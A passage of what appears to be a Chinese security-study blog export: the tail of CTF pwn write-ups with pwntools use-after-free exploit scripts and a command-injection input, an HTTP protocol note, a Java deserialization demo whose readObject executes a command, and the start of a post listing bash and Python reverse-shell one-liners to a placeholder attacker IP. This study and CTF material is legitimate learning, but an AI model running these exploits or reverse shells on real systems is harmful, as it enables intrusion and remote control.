class="hljs-built_in">hex</span>(Canary)) <br><br>p.recvuntil(<span class="hljs-string">"Remeber canary!!"</span>)<br><br>\<span class="hljs-comment">#构造rop链getshell</span><br><br>payload2 = <span class="hljs-string">"a"</span>*<span class="hljs-number">24</span>+p64(Canary)+<span class="hljs-string">"a"</span>*<span class="hljs-number">8</span>+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)<br><br>p.sendline(payload2)<br><br>p.interactive()<br></code></pre></td></tr></table></figure>
<h1 id="pwn3"><a class="markdownIt-Anchor" href="#pwn3"></a> PWN3</h1>
<p>用ida打开程序,发现程序是一个选择菜单</p>
<p><img src="/2021/03/30/cumtctf/10.jpg" alt="img"></p>
<p>然后在选择1中,说是执行ping命令,但是没有进行过滤,会用system函数执行我们输入进去的命令</p>
<p><img src="/2021/03/30/cumtctf/11.jpg" alt="img"></p>
<p>选择1,然后1;cat flag,即可拿到Flag</p>
<p><img src="/2021/03/30/cumtctf/12.jpg" alt="img"></p>
<h1 id="pwn4"><a class="markdownIt-Anchor" href="#pwn4"></a> PWN4</h1>
<p>Ida打开程序,发现也是一个选择菜单</p>
<p><img src="/2021/03/30/cumtctf/a1.jpg" alt="img"></p>
<p>仔细观察每个选择,发现漏洞点在2.delete中,函数只是free了堆块,但是没有把指针置空,会造成uaf漏洞</p>
<p><img src="/2021/03/30/cumtctf/%E9%98%BF.jpg" alt="img"></p>
<p>Gdb调试:</p>
<p>先申请2个32字节的堆块(size为16 24 32的堆块free后会进入fastbin不会被合并)</p>
<p>可以看到我们申请的堆块对应一个内存堆和一个print_heap_name函数</p>
<p><img src="/2021/03/30/cumtctf/clip_image012.jpg" alt="img"></p>
<p>然后删除这两个堆块,可以看到删除的堆块进入了fastbin</p>
<p><img src="/2021/03/30/cumtctf/clip_image014.jpg" alt="img"></p>
<p>这时候我们申请一个堆块,size为8,内容为cccc</p>
<p><img src="/2021/03/30/cumtctf/clip_image016.jpg" alt="img"></p>
<p>此时覆盖了第一个堆块的print_heap_name函数指针</p>
<p><img src="/2021/03/30/cumtctf/clip_image018.jpg" alt="img"></p>
<p>然后我们选择show,就会调用这个指针,所以我们可以控制这个指针调用我们想要的函数</p>
<p><img src="/2021/03/30/cumtctf/clip_image020.jpg" alt="img"></p>
<p>程序中有后门函数,所以只要覆盖成这个就行</p>
<p><img src="/2021/03/30/cumtctf/clip_image022.jpg" alt="img"></p>
<p>Payload脚本</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">\<span class="hljs-comment">#!/usr/bin/env python</span><br><br>\<span class="hljs-comment">#-*- coding:utf-8 -*-</span><br><br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>context.binary = <span class="hljs-string">"./pwn4"</span><br><br>context.log_level = <span class="hljs-string">'debug'</span><br><br>p = remote(<span class="hljs-string">'1.15.81.218'</span>, <span class="hljs-number">10003</span>)<br><br>backdoor = <span class="hljs-number">0x0000000400BCE</span><br><br>\<span class="hljs-comment">#p = process("./pwn4")</span><br><br>\<span class="hljs-comment">#添加一个size为32的堆块</span><br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"1"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"32"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"6666"</span>)<br><br>\<span class="hljs-comment">#添加一个size为32的堆块</span><br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"1"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"32"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"7777"</span>)<br><br>\<span class="hljs-comment">#删除index0</span><br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"2"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"0"</span>)<br><br>\<span class="hljs-comment">#删除index1</span><br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"2"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"1"</span>)<br><br>\<span class="hljs-comment">#添加一个size为4的堆块,内容是后门函数</span><br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"1"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"4"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(p32(backdoor))<br><br>\<span class="hljs-comment">#gdb.attach(p)</span><br><br>\<span class="hljs-comment">#调用index0的print指针</span><br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"3"</span>)<br><br>p.recvuntil(<span class="hljs-string">":"</span>)<br><br>p.sendline(<span class="hljs-string">"0"</span>)<br><br>p.interactive()<br><br> <br></code></pre></td></tr></table></figure>
<h1 id="pwn5"><a class="markdownIt-Anchor" href="#pwn5"></a> PWN5</h1>
<p>用ida打开程序,也是一个让我们选择的程序,选项1是创建账号,2是展示,3是删除,4是添加memory,5选项是验证main_account+16的位置的值是否等于1953330531,然后getshell</p>
<p><img src="/2021/03/30/cumtctf/clip_image024.jpg" alt="img"></p>
<p><img src="/2021/03/30/cumtctf/clip_image026.jpg" alt="img"></p>
<p>所以解题思路是覆盖这个位置的数据为1953330531</p>
<p>我们注意到删除账号的时候也只是进行了free,没有置空指针,有uaf漏洞利用</p>
<p><img src="/2021/03/30/cumtctf/clip_image028.jpg" alt="img"></p>
<p>然后在add memory时,可以读入256个字节。</p>
<p>Gdb调试:</p>
<p>先创建一个aaaa,bbbb的账号,堆内存如下</p>
<p><img src="/2021/03/30/cumtctf/clip_image030.jpg" alt="img"></p>
<p>然后尝试check,发现检查的main_account+16的位置是0x603010+0x40,也就是64个字节</p>
<p><img src="/2021/03/30/cumtctf/clip_image032.jpg" alt="img"></p>
<p>然后删除账号,添加一个memory,内容为68个c</p>
<p><img src="/2021/03/30/cumtctf/clip_image034.jpg" alt="img"></p>
<p>就可以覆盖到0x50的位置</p>
<p>所以只要把0x50位置的值覆盖为1953330531(十六进制0x746d7563)即可</p>
<p>Payload如下</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>\<span class="hljs-comment">#p = process('./pwn5')</span><br><br>p = remote(<span class="hljs-string">'1.15.81.218'</span>, <span class="hljs-number">10004</span>)<br><br>context.log_level = <span class="hljs-string">'debug'</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Create_your_account</span>():</span><br><br> p.recvuntil(<span class="hljs-string">">"</span>)<br><br> p.sendline(<span class="hljs-string">"1"</span>)<br><br> p.recvuntil(<span class="hljs-string">"your first name:"</span>)<br><br> p.sendline(<span class="hljs-string">"aaaa"</span>)<br><br> p.recvuntil(<span class="hljs-string">"your last name:"</span>)<br><br> p.sendline(<span class="hljs-string">"aaaa"</span>)<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete_your_account</span>():</span><br><br> p.recvuntil(<span class="hljs-string">">"</span>)<br><br> p.sendline(<span class="hljs-string">'3'</span>)<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_memory</span>(<span class="hljs-params">payload</span>):</span><br><br> p.recvuntil(<span class="hljs-string">">"</span>)<br><br> p.sendline(<span class="hljs-string">'4'</span>)<br><br> p.recvuntil(<span class="hljs-string">"plz input what you want say:"</span>)<br><br> \<span class="hljs-comment">#gdb.attach(p)</span><br><br> p.sendline(payload)<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_CUMT</span>():</span><br><br> p.recvuntil(<span class="hljs-string">">"</span>)<br><br> p.sendline(<span class="hljs-string">"5"</span>)<br><br>Create_your_account()<br><br>delete_your_account()<br><br>payload = <span class="hljs-string">'a'</span>*<span class="hljs-number">64</span>+p64(<span class="hljs-number">0x746d7563</span>) <br><br>add_memory(payload)<br><br>\<span class="hljs-comment">#gdb.attach(p)</span><br><br>check_CUMT()<br><br>p.interactive()<br><br><br></code></pre></td></tr></table></figure>
]]></content>
<categories>
<category>PWN学习</category>
<category>学习</category>
</categories>
<tags>
<tag>PWN学习</tag>
</tags>
</entry>
<entry>
<title>HTTP协议学习</title>
<url>/2021/03/26/http/</url>
<content><![CDATA[<h1 id="http协议学习"><a class="markdownIt-Anchor" href="#http协议学习"></a> HTTP协议学习</h1>
<h2 id="http和https的区别"><a class="markdownIt-Anchor" href="#http和https的区别"></a> http和https的区别:</h2>
<ol>
<li>HTTP 的URL 以http:// 开头,而HTTPS 的URL 以https:// 开头</li>
<li>HTTP 是不安全的,而 HTTPS 是安全的</li>
<li>HTTP 标准端口是80 ,而 HTTPS 的标准端口是443</li>
<li>在OSI 网络模型中,HTTP工作于应用层,而HTTPS 的安全传输机制工作在传输层</li>
<li>HTTP 无法加密,而HTTPS 对传输的数据进行加密</li>
<li>HTTP无需证书,而HTTPS 需要CA机构wosign的颁发的SSL证书</li>
</ol>
<h2 id="http为什么是无状态协议如何解决"><a class="markdownIt-Anchor" href="#http为什么是无状态协议如何解决"></a> http为什么是无状态协议?如何解决?</h2>
<p>HTTP 是一种不保存状态,即无状态(stateless)协议。HTTP 协议自身不对请求和响应之间的通信状态进行保存。也就是说在 HTTP 这个级别,协议对于发送过的请求或响应都不做持久化处理</p>
<p><strong>解决:</strong></p>
<ul>
<li>基于Session实现的会话保持<br>
在会话开始时(客户端第一次像服务器发送http请求),服务器将会话状态保存起来(本机内存或数据库中),然后分配一个会话标识(SessionId)给客户端,这个会话标识一般保存在客户端Cookie中,以后每次浏览器发送http请求都会带上Cookie中的SessionId到服务器,服务器拿到会话标识就可以把之前存储在服务器端的状态信息与会话联系起来,实现会话保持(如果遇到浏览器禁用Cookie的情况,则可以通过url重写的方式将会话标识放在url的参数里,也可实现会话保持)</li>
<li>基于Cookie实现的会话保持<br>
基于Cookie实现会话保持与上述基于Session实现会话保持的最主要区别是前者完全将会话状态信息存储在浏览器Cookie中,这样一来每次浏览器发送HTTP请求的时候都会带上状态信息,因此也就可以实现状态保持。</li>
</ul>
<h2 id="http常用的方法"><a class="markdownIt-Anchor" href="#http常用的方法"></a> http常用的方法</h2>
<ul>
<li>GET: 用于请求访问已经被URI(统一资源标识符)识别的资源,可以通过URL传参给服务器</li>
<li>POST:用于传输信息给服务器,主要功能与GET方法类似,但一般推荐使用POST方式。</li>
<li>PUT: 传输文件,报文主体中包含文件内容,保存到对应URI位置。</li>
<li>HEAD: 获得报文首部,与GET方法类似,只是不返回报文主体,一般用于验证URI是否有效。</li>
<li>DELETE:删除文件,与PUT方法相反,删除对应URI位置的文件。</li>
<li>OPTIONS:查询相应URI支持的HTTP方法。</li>
</ul>
<h2 id="http请求报文与响应报文格式"><a class="markdownIt-Anchor" href="#http请求报文与响应报文格式"></a> HTTP请求报文与响应报文格式</h2>
<p>请求报文包含四部分:</p>
<p><img src="/2021/03/26/http/1.png" alt="1"></p>
<ul>
<li>a、请求行:包含请求方法、URI、HTTP版本信息</li>
<li>b、请求首部字段</li>
<li>c、请求内容实体</li>
<li>d、空行</li>
</ul>
<p>响应报文包含四部分:</p>
<p><img src="/2021/03/26/http/2.png" alt="2"></p>
<p>常见的首部:</p>
<ul>
<li><strong>通用首部字段(请求报文与响应报文都会使用的首部字段)</strong>
<ul>
<li>Date:创建报文时间</li>
<li>Connection:连接的管理</li>
<li>Cache-Control:缓存的控制</li>
<li>Transfer-Encoding:报文主体的传输编码方式</li>
</ul>
</li>
<li><strong>请求首部字段(请求报文会使用的首部字段)</strong>
<ul>
<li>Host:请求资源所在服务器</li>
<li>Accept:可处理的媒体类型</li>
<li>Accept-Charset:可接收的字符集</li>
<li>Accept-Encoding:可接受的内容编码</li>
<li>Accept-Language:可接受的自然语言</li>
</ul>
</li>
<li><strong>响应首部字段(响应报文会使用的首部字段)</strong>
<ul>
<li>Accept-Ranges:可接受的字节范围</li>
<li>Location:令客户端重新定向到的URI</li>
<li>Server:HTTP服务器的安装信息</li>
</ul>
</li>
<li><strong>实体首部字段(请求报文与响应报文的的实体部分使用的首部字段)</strong>
<ul>
<li>Allow:资源可支持的HTTP方法</li>
<li>Content-Type:实体主类的类型</li>
<li>Content-Encoding:实体主体适用的编码方式</li>
<li>Content-Language:实体主体的自然语言</li>
<li>Content-Length:实体主体的的字节数</li>
<li>Content-Range:实体主体的位置范围,一般用于发出部分请求时使用</li>
</ul>
</li>
</ul>
<h2 id="https工作原理"><a class="markdownIt-Anchor" href="#https工作原理"></a> HTTPS工作原理</h2>
<ul>
<li>一、首先HTTP请求服务端生成证书,客户端对证书的有效期、合法性、域名是否与请求的域名一致、证书的公钥(RSA加密)等进行校验;</li>
<li>二、客户端如果校验通过后,就根据证书的公钥的有效, 生成随机数,随机数使用公钥进行加密(RSA加密);</li>
<li>三、消息体产生的后,对它的摘要进行MD5(或者SHA1)算法加密,此时就得到了RSA签名;</li>
<li>四、发送给服务端,此时只有服务端(RSA私钥)能解密。</li>
<li>五、解密得到的随机数,再用AES加密,作为密钥(此时的密钥只有客户端和服务端知道)。</li>
</ul>
<h2 id="一次完整的http请求"><a class="markdownIt-Anchor" href="#一次完整的http请求"></a> 一次完整的HTTP请求</h2>
<p>HTTP通信机制是在一次完整的HTTP通信过程中,Web浏览器与Web服务器之间将完成下列7个步骤:</p>
<ul>
<li>建立TCP连接</li>
</ul>
<p>在HTTP工作开始之前,Web浏览器首先要通过网络与Web服务器建立连接,该连接是通过TCP来完成的,该协议与IP协议共同构建 Internet,即著名的TCP/IP协议族,因此Internet又被称作是TCP/IP网络。<strong>HTTP是比TCP更高层次的应用层协议,根据规则, 只有低层协议建立之后才能,才能进行更层协议的连接,因此,首先要建立TCP连接,一般TCP连接的端口号是80。</strong></p>
<ul>
<li>Web浏览器向Web服务器发送请求行</li>
</ul>
<p>一旦建立了TCP连接,<strong>Web浏览器就会向Web服务器发送请求命令</strong>。例如:GET /sample/hello.jsp HTTP/1.1。</p>
<ul>
<li>Web浏览器发送请求头
<ul>
<li>浏览器发送其请求命令之后,还要以头信息的形式向Web服务器发送一些别的信息,<strong>之后浏览器发送了一空白行来通知服务器</strong>,它已经结束了该头信息的发送。</li>
</ul>
</li>
<li>Web服务器应答
<ul>
<li>客户机向服务器发出请求后,服务器会客户机回送应答, <strong>HTTP/1.1 200 OK ,应答的第一部分是协议的版本号和应答状态码。</strong></li>
</ul>
</li>
<li>Web服务器发送应答头
<ul>
<li>正如客户端会随同请求发送关于自身的信息一样,服务器也会随同应答向用户发送关于它自己的数据及被请求的文档。</li>
</ul>
</li>
<li>Web服务器向浏览器发送数据
<ul>
<li>Web服务器向浏览器发送头信息后,它会发送一个空白行来表示头信息的发送到此为结束,接着,<strong>它就以Content-Type应答头信息所描述的格式发送用户所请求的实际数据</strong>。</li>
</ul>
</li>
<li>Web服务器关闭TCP连接
<ul>
<li>一般情况下,一旦Web服务器向浏览器发送了请求数据,它就要关闭TCP连接,然后如果浏览器或者服务器在其头信息加入了这行代码:</li>
</ul>
</li>
</ul>
<figure class="highlight armasm"><table><tr><td class="code"><pre><code class="hljs armasm"><span class="hljs-symbol">Connection:</span><span class="hljs-meta">keep</span>-alive<br></code></pre></td></tr></table></figure>
<p>TCP连接在发送后将仍然保持打开状态,于是,浏览器可以继续通过相同的连接发送请求。保持连接节省了为每个请求建立新连接所需的时间,还节约了网络带宽。</p>
<p><strong>建立TCP连接->发送请求行->发送请求头->(到达服务器)发送状态行->发送响应头->发送响应数据->断TCP连接</strong></p>
<h2 id="常见的http相应状态码"><a class="markdownIt-Anchor" href="#常见的http相应状态码"></a> 常见的HTTP相应状态码</h2>
<ul>
<li>200:请求被正常处理</li>
<li>204:请求被受理但没有资源可以返回</li>
<li>206:客户端只是请求资源的一部分,服务器只对请求的部分资源执行GET方法,相应报文中通过Content-Range指定范围的资源。</li>
<li>301:永久性重定向</li>
<li>302:临时重定向</li>
<li>303:与302状态码有相似功能,只是它希望客户端在请求一个URI的时候,能通过GET方法重定向到另一个URI上</li>
<li>304:发送附带条件的请求时,条件不满足时返回,与重定向无关</li>
<li>307:临时重定向,与302类似,只是强制要求使用POST方法</li>
<li>400:请求报文语法有误,服务器无法识别</li>
<li>401:请求需要认证</li>
<li>403:请求的对应资源禁止被访问</li>
<li>404:服务器无法找到对应资源</li>
<li>500:服务器内部错误</li>
<li>503:服务器正忙</li>
</ul>
<h2 id="http11版本新特性"><a class="markdownIt-Anchor" href="#http11版本新特性"></a> HTTP1.1版本新特性</h2>
<ul>
<li>a、<strong>默认持久连接节省通信量</strong>,只要客户端服务端任意一端没有明确提出断开TCP连接,就一直保持连接,可以发送多次HTTP请求</li>
<li>b、<strong>管线化,客户端可以同时发出多个HTTP请求,而不用一个个等待响应</strong></li>
<li>c、<strong>断点续传</strong>
<ul>
<li><strong>实际上就是利用HTTP消息头使用分块传输编码,将实体主体分块传输。</strong></li>
</ul>
</li>
</ul>
<h2 id="http优化方案"><a class="markdownIt-Anchor" href="#http优化方案"></a> HTTP优化方案</h2>
<ul>
<li><strong>TCP复用:TCP连接复用是将多个客户端的HTTP请求复用到一个服务器端TCP连接上,而HTTP复用则是一个客户端的多个HTTP请求通过一个TCP连接进行处理。前者是负载均衡设备的独特功能;而后者是HTTP 1.1协议所支持的新功能,目前被大多数浏览器所支持。</strong></li>
<li><strong>内容缓存:将经常用到的内容进行缓存起来,那么客户端就可以直接在内存中获取相应的数据了。</strong></li>
<li><strong>压缩:将文本数据进行压缩,减少带宽</strong></li>
<li><strong>SSL加速(SSL Acceleration):使用SSL协议对HTTP协议进行加密,在通道内加密并加速</strong></li>
<li><strong>TCP缓冲:通过采用TCP缓冲技术,可以提高服务器端响应时间和处理效率,减少由于通信链路问题给服务器造成的连接负担。</strong></li>
</ul>
<blockquote>
<p><em><strong>参考文章:<a href="https://blog.csdn.net/yicixing7/article/details/79320821">https://blog.csdn.net/yicixing7/article/details/79320821</a></strong></em></p>
</blockquote>
]]></content>
<categories>
<category>学习</category>
</categories>
<tags>
<tag>web学习</tag>
<tag>http</tag>
</tags>
</entry>
<entry>
<title>java反序列化学习与复现</title>
<url>/2021/09/28/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%A4%8D%E7%8E%B0/</url>
<content><![CDATA[<h1 id="java反序列化学习与复现"><a class="markdownIt-Anchor" href="#java反序列化学习与复现"></a> java反序列化学习与复现</h1>
<h2 id="0x00-前言"><a class="markdownIt-Anchor" href="#0x00-前言"></a> 0x00 前言</h2>
<p> 最近面试被问到了,学长说那位是大佬,还问了二进制(好久没学了突然问二进制,没准备只能知道啥答啥了qaq,怕是寄了),奈何自己一直没去了解java反序列化,虽然挖到过shiro反序列化,但是没有去详细了解,不过我呢要学就是那种详细了解的,最近一直在学红队的技术(内网渗透,还看了冰蝎的魔改,frp的魔改,确实大佬们挺强),和实战挖洞,不多说先实际操作。</p>
<h2 id="0x01-基础知识参考各种博客"><a class="markdownIt-Anchor" href="#0x01-基础知识参考各种博客"></a> 0x01 基础知识(参考各种博客)</h2>
<p><strong>漏洞原理</strong><br>
当开发者自定义实现Serializable、添加自己的readObject()方法时,若readObject()方法内代码逻辑存在缺陷,则可能存在Java反序列化漏洞的风险。如果此时Java服务的反序列化API允许外部用户使用,则会导致攻击者使用精心构造的payload来利用反序列化漏洞达到任意代码执行的目的。</p>
<p><strong>Java反序列化操作</strong></p>
<p>实现方法<br>
1.java.io.ObjectOutputStream<br>
2.java.io.ObjectInputStream</p>
<p>序列化:ObjectOutputStream类 --> writeObject()</p>
<figure class="highlight jboss-cli"><table><tr><td class="code"><pre><code class="hljs jboss-cli">该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中<br>按Java的标准约定是给文件一个<span class="hljs-string">.ser</span>扩展名<br></code></pre></td></tr></table></figure>
<p>反序列化: ObjectInputStream类 --> readObject()</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs plain">该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。<br></code></pre></td></tr></table></figure>
<p>感觉和php也有些相似hhhh</p>
<h2 id="0x02-实验测试"><a class="markdownIt-Anchor" href="#0x02-实验测试"></a> 0x02 实验测试</h2>
<h3 id="1简单实验"><a class="markdownIt-Anchor" href="#1简单实验"></a> 1.简单实验</h3>
<p>做一个简单的java反序列化实验,代码如下</p>
<figure class="highlight java"><table><tr><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">package</span> java_Serializable;<br><br><span class="hljs-keyword">import</span> java.io.*;<br><br><span class="hljs-comment">/*</span><br><span class="hljs-comment">import java.io.ObjectOutputStream;</span><br><span class="hljs-comment">import java.io.ObjectInputStream;</span><br><span class="hljs-comment">import java.io.FileOutputStream;</span><br><span class="hljs-comment">import java.io.FileInputStream;</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Java_Test</span></span>{<br><br> <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String args[])</span> <span class="hljs-keyword">throws</span> Exception </span>{<br> String obj = <span class="hljs-string">"zwz12138"</span>;<br> <br> <span class="hljs-comment">// 话说我参考的文章这地方写的是object,但是文件名是aa.cer,2333</span><br> <span class="hljs-comment">// 将序列化对象写入文件1.txt中</span><br> FileOutputStream fos = <span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"1.txt"</span>);<br> ObjectOutputStream os = <span class="hljs-keyword">new</span> ObjectOutputStream(fos);<br> os.writeObject(obj);<br> os.close();<br><br> <span class="hljs-comment">// 从文件1.txt中读取数据</span><br> FileInputStream fis = <span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"1.txt"</span>);<br> ObjectInputStream ois = <span class="hljs-keyword">new</span> ObjectInputStream(fis);<br><br> <span class="hljs-comment">// 通过反序列化恢复对象obj,传值给obj2</span><br> String obj2 = (String)ois.readObject();<br> System.out.println(obj2);<br> ois.close();<br> }<br><br>}<br><br></code></pre></td></tr></table></figure>
<p>,说起来我也就学过假的java(手撕代码背书的那种),不过看着也还行,想起来某个文章说的</p>
<p><em>众所周知,Java代码开发与Java代码审计,并不是充分必要条件。</em></p>
<p><em>你问我懂不懂Java,那我当然是不懂的。</em></p>
<p><em>你问我能不能搞Java代码审计,其实也不是不能搞。</em></p>
<p>有一说一,好像确实hhhh</p>
<p>试了试,成功输出zwz12138</p>
<img src="/2021/09/28/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%A4%8D%E7%8E%B0/image-20210930163001284.png" alt="image-20210930163001284" style="zoom:80%;">
<p>十六进制看了看1.txt,十六进制编码长这样</p>
<img src="/2021/09/28/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%A4%8D%E7%8E%B0/image-20210930152256931.png" alt="image-20210930152256931" style="zoom:80%;">
<h3 id="2readobject方法重写测试"><a class="markdownIt-Anchor" href="#2readobject方法重写测试"></a> 2.readObject()方法重写测试</h3>
<figure class="highlight java"><table><tr><td class="code"><pre><code class="hljs java"><span class="hljs-comment">//代码Main.java</span><br><span class="hljs-keyword">package</span> java_Serializable;<br><br><span class="hljs-keyword">import</span> java.io.*;<br><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Main</span> </span>{<br> <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{<br> Evil evil=<span class="hljs-keyword">new</span> Evil();<br> evil.cmd=<span class="hljs-string">"calc"</span>;<br><br> <span class="hljs-keyword">byte</span>[] serializeData=serialize(evil);<br> unserialize(serializeData);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">byte</span>[] serialize(<span class="hljs-keyword">final</span> Object obj) <span class="hljs-keyword">throws</span> Exception {<br> ByteArrayOutputStream btout = <span class="hljs-keyword">new</span> ByteArrayOutputStream();<br> ObjectOutputStream objOut = <span class="hljs-keyword">new</span> ObjectOutputStream(btout);<br> objOut.writeObject(obj);<br> <span class="hljs-keyword">return</span> btout.toByteArray();<br> }<br> <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title">unserialize</span><span class="hljs-params">(<span class="hljs-keyword">final</span> <span class="hljs-keyword">byte</span>[] serialized)</span> <span class="hljs-keyword">throws</span> Exception </span>{<br> ByteArrayInputStream btin = <span class="hljs-keyword">new</span> ByteArrayInputStream(serialized);<br> ObjectInputStream objIn = <span class="hljs-keyword">new</span> ObjectInputStream(btin);<br> <span class="hljs-keyword">return</span> objIn.readObject();<br> }<br>}<br></code></pre></td></tr></table></figure>
<figure class="highlight java"><table><tr><td class="code"><pre><code class="hljs java"><span class="hljs-comment">//代码Evil.java</span><br><span class="hljs-keyword">package</span> java_Serializable;<br><br><span class="hljs-keyword">import</span> java.io.*;<br><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Evil</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Serializable</span></span>{<br> <span class="hljs-keyword">public</span> String cmd;<br> <span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title">readObject</span><span class="hljs-params">(java.io.ObjectInputStream stream)</span> <span class="hljs-keyword">throws</span> Exception </span>{<br> stream.defaultReadObject();<br> Runtime.getRuntime().exec(cmd);<br> }<br>}<br></code></pre></td></tr></table></figure>
<p>这里我看也看明白了,就是原先定义的evil对象中cmd值为calc,但是在反序列化中调用重新定义的readObject()方法,把cmd的值直接执行了,结果就是调起了windows的计算器,可见攻击要点就是这个反序列化方法</p>
<img src="/2021/09/28/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%A4%8D%E7%8E%B0/image-20210930163435106.png" alt="image-20210930163435106" style="zoom:80%;">
<h2 id="0x03-结合ctf题复现分析"><a class="markdownIt-Anchor" href="#0x03-结合ctf题复现分析"></a> 0x03 结合CTF题复现分析</h2>
<p> 这里准备结合一道java反序列化的题目进行研究,搭建环境复现,后续写。</p>
]]></content>
<categories>
<category>web学习</category>
<category>学习</category>
</categories>
<tags>
<tag>web学习</tag>
</tags>
</entry>
<entry>
<title>linux/windows反弹shell的利用方式和复现</title>
<url>/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/</url>
<content><![CDATA[<h1 id="linuxwindows反弹shell的利用方式和复现"><a class="markdownIt-Anchor" href="#linuxwindows反弹shell的利用方式和复现"></a> linux/windows反弹shell的利用方式和复现</h1>
<h2 id="1linux反弹"><a class="markdownIt-Anchor" href="#1linux反弹"></a> 1.linux反弹</h2>
<h3 id="11bash反弹"><a class="markdownIt-Anchor" href="#11bash反弹"></a> 1.1.Bash反弹</h3>
<p>攻击机器命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">nc -lvp 攻击机端口<br></code></pre></td></tr></table></figure>
<p>靶机命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">bash -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1<br></code></pre></td></tr></table></figure>
<p>效果</p>
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210923170215201.png" alt="image-20210923170215201" style="zoom:80%;">
<h3 id="12python反弹"><a class="markdownIt-Anchor" href="#12python反弹"></a> 1.2.python反弹</h3>
<p>攻击机器命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">nc -lvp 攻击机端口<br></code></pre></td></tr></table></figure>
<p>靶机命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><code class="hljs bash">python -c <span class="hljs-string">"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击机ip',攻击机端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"</span><br></code></pre></td></tr></table></figure>
<p>效果</p>
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210923171211993.png" alt="image-20210923171211993" style="zoom:80%;">
<img src="/2021/09/22/linux-windows%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E5%92%8C%E5%A4%8D%E7%8E%B0/image-20210923171229676.png" alt="image-20210923171229676" style="zoom:80%;">
